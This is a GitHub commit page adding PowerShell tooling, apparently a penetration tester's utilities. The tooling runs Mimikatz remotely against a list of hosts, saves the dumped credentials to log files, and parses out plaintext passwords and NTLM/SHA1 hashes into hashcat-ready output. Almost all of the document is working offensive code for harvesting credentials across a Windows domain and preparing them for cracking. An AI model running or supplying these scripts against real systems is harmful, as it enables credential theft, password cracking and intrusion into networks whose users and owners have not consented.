Skip to content

Commit ecb1893

Browse files
0x6d69636b0x6d69636b
committed
Add files to repository
[+] added file Invoke-MimikatzNetwork.ps1 [+] added file PowerShellUtilities.psd1 [+] added file PowerShellUtilities.psm1 [+] added file Select-MimikatzPasswords.ps1
1 parent f0d5bab commit ecb1893

File tree

4 files changed

+171
-0
lines changed

4 files changed

+171
-0
lines changed

‎Invoke-MimikatzNetwork.ps1

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
<#
2+
ScipUtilities provides various utility commandlets.
3+
4+
Author: Eleanore Young, Michael Schneider, scip AG
5+
License: MIT
6+
Copyright: 2017 Eleanore Young, Michael Schneider, scip AG
7+
Required Dependencies: None
8+
Optional Dependencies: None
9+
#>
10+
11+
#Requires -Version 2
12+
Set-StrictMode -Version 2
13+
14+
function Invoke-MimikatzNetwork {
15+
<#
16+
.SYNOPSIS
17+
Invoke Mimikatz using the PowerSploit framework over the network.
18+
19+
.PARAMETER HostFile
20+
The path to a list of target hosts.
21+
#>
22+
[CmdletBinding()]
23+
Param (
24+
[Parameter(Mandatory=$true)]
25+
[ValidateScript({Test-Path $_})]
26+
[String]
27+
$HostFile
28+
)
29+
30+
$BasePath = "C:\tmp"
31+
$Timestamp = (Get-Date).ToString("yyyyMd")
32+
$Protocol = "$basePath\protocol-$timestamp.txt"
33+
$Hosts = Get-Content $HostFile
34+
35+
Foreach ($ComputerName in $Hosts) {
36+
37+
$Time = Get-Date -Format G
38+
$StartMessage = "[*] $Time - Connecting to $ComputerName..."
39+
$StartMessage | Tee-Object -Append -FilePath $Protocol
40+
41+
$LogMimikatz = "$BasePath\cred_$ComputerName.log"
42+
43+
Try
44+
{
45+
Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz
46+
}
47+
Catch
48+
{
49+
$Time = Get-Date -Format G
50+
$ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId
51+
$ErrorMessage | Tee-Object -Append -FilePath $Protocol
52+
$ErrorInvokeMimikatz = $null
53+
}
54+
55+
$Time = Get-Date -Format G
56+
$EndMessage = "[*] $Time - $ComputerName done"
57+
$EndMessage | Tee-Object -Append -FilePath $Protocol
58+
}
59+
}

‎PowerShellUtilities.psd1

3.02 KB
Binary file not shown.

‎PowerShellUtilities.psm1

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
<#
2+
PowerShellUtilities provides various utility commandlets.
3+
4+
Author: Eleanore Young, Michael Schneider, scip AG
5+
License: MIT
6+
Copyright: 2017 Eleanore Young, Michael Schneider, scip AG
7+
Required Dependencies: None
8+
Optional Dependencies: None
9+
#>
10+
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}

‎Select-MimikatzPasswords.ps1

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
<#
2+
ScipUtilities provides various utility commandlets.
3+
4+
Author: Eleanore Young, Michael Schneider, scip AG
5+
License: MIT
6+
Copyright: 2017 Eleanore Young, Michael Schneider, scip AG
7+
Required Dependencies: None
8+
Optional Dependencies: None
9+
#>
10+
11+
#Requires -Version 2
12+
Set-StrictMode -Version 2
13+
14+
function Select-MimikatzPasswords {
15+
<#
16+
.SYNOPSIS
17+
Extract passwords or password hashes from Mimikatz log files. Developed for Mimikatz version 2.0 alpha.
18+
19+
.PARAMETER Path
20+
Choose the path or GLOB pattern that tells the function which files to search.
21+
22+
.PARAMETER FindData
23+
Choose to look for either passwords or hashes (ntlm and sha1).
24+
25+
.PARAMETER OutputTo
26+
Output the results either to the console, to a format parseable in hashcat, or to CSV.
27+
#>
28+
[CmdletBinding()]
29+
Param (
30+
[ValidateNotNullOrEmpty()]
31+
[String]
32+
$Path = "*.log",
33+
34+
[ValidateSet("passwords", "ntlm", "sha1")]
35+
[String]
36+
$FindData = "passwords",
37+
38+
[ValidateSet("console", "hashcat", "csv")]
39+
[String]
40+
$OutputTo = "console"
41+
)
42+
43+
$PasswordRegex = "\s+\*\sUsername\s+:\s(?<username>[a-zA-Z0-9]+)[\r\n]+\s+\*\sDomain\s+:\s(?<domain>[a-zA-Z0-9]+)[\r\n]+\s+\*\sPassword\s+:\s(?<password>(?!\(null\)).*)[\r\n]+"
44+
$HashRegex = "\s+\*\sUsername\s+:\s(?<username>[a-zA-Z0-9]+)[\r\n]+\s+\*\sDomain\s+:\s(?<domain>[a-zA-Z0-9]+)[\r\n]+\s+\*\sFlags\s+:\s.*[\r\n]+\s+\*\sNTLM\s+:\s(?<ntlm>[0-9a-fA-F]+)[\r\n]+\s+\*\sSHA1\s+:\s(?<sha1>[0-9a-fA-F]+)[\r\n]+"
45+
46+
$PasswordOutput = New-Object System.Collections.Generic.List[System.Object]
47+
$HashOutput = New-Object System.Collections.Generic.List[System.Object]
48+
Foreach ($LogFile in Get-ChildItem -Recurse $Path) {
49+
$Content = Get-Content -Raw -Path $LogFile
50+
$PasswordMatches = Select-String -InputObject $Content -AllMatches -Pattern $PasswordRegex
51+
52+
Foreach ($Match in $PasswordMatches.Matches) {
53+
$SearchEntry = New-Object System.Object
54+
$SearchEntry | Add-Member -NotePropertyName "Username" -NotePropertyValue $Match.Groups["username"].Value
55+
$SearchEntry | Add-Member -NotePropertyName "Domain" -NotePropertyValue $Match.Groups["domain"].Value
56+
$SearchEntry | Add-Member -NotePropertyName "Password" -NotePropertyValue $Match.Groups["password"].Value
57+
$PasswordOutput.Add($SearchEntry)
58+
}
59+
60+
$HashMatches = Select-String -InputObject $Content -AllMatches -Pattern $HashRegex
61+
Foreach ($Match in $HashMatches.Matches) {
62+
$SearchEntry = New-Object System.Object
63+
$SearchEntry | Add-Member -NotePropertyName "Username" -NotePropertyValue $Match.Groups["username"].Value
64+
$SearchEntry | Add-Member -NotePropertyName "Domain" -NotePropertyValue $Match.Groups["domain"].Value
65+
$SearchEntry | Add-Member -NotePropertyName "NTLM" -NotePropertyValue $Match.Groups["ntlm"].Value
66+
$SearchEntry | Add-Member -NotePropertyName "SHA1" -NotePropertyValue $Match.Groups["sha1"].Value
67+
$HashOutput.Add($SearchEntry)
68+
}
69+
}
70+
71+
$PasswordOutput = ($PasswordOutput | Sort-Object -Property Username -Unique)
72+
$HashOutput = ($HashOutput | Sort-Object -Property Username -Unique)
73+
74+
if ($OutputTo -eq "csv") {
75+
76+
if ($FindData -in ("ntlm", "sha1")) {
77+
$HashOutput | ConvertTo-Csv -NoTypeInformation
78+
} elseif ($FindData -eq "passwords") {
79+
$PasswordOutput | ConvertTo-Csv -NoTypeInformation
80+
} else {
81+
throw "Format '$FindData' doesn't make sense for CSV output."
82+
}
83+
} elseif ($OutputTo -eq "hashcat") {
84+
if ($FindData -eq "ntlm") {
85+
Foreach ($Entry in $HashOutput) {
86+
$Entry.Username + ":" + $Entry.NTLM
87+
}
88+
} elseif ($FindData -eq "sha1") {
89+
Foreach ($Entry in $HashOutput) {
90+
$Entry.Username + ":" + $Entry.SHA1
91+
}
92+
} else {
93+
throw "Format '$FindData' doesn't make sense for hashcat output."
94+
}
95+
} else {
96+
if ($FindData -eq "passwords") {
97+
$PasswordOutput
98+
} else {
99+
$HashOutput
100+
}
101+
}
102+
}

0 commit comments

Comments
 (0)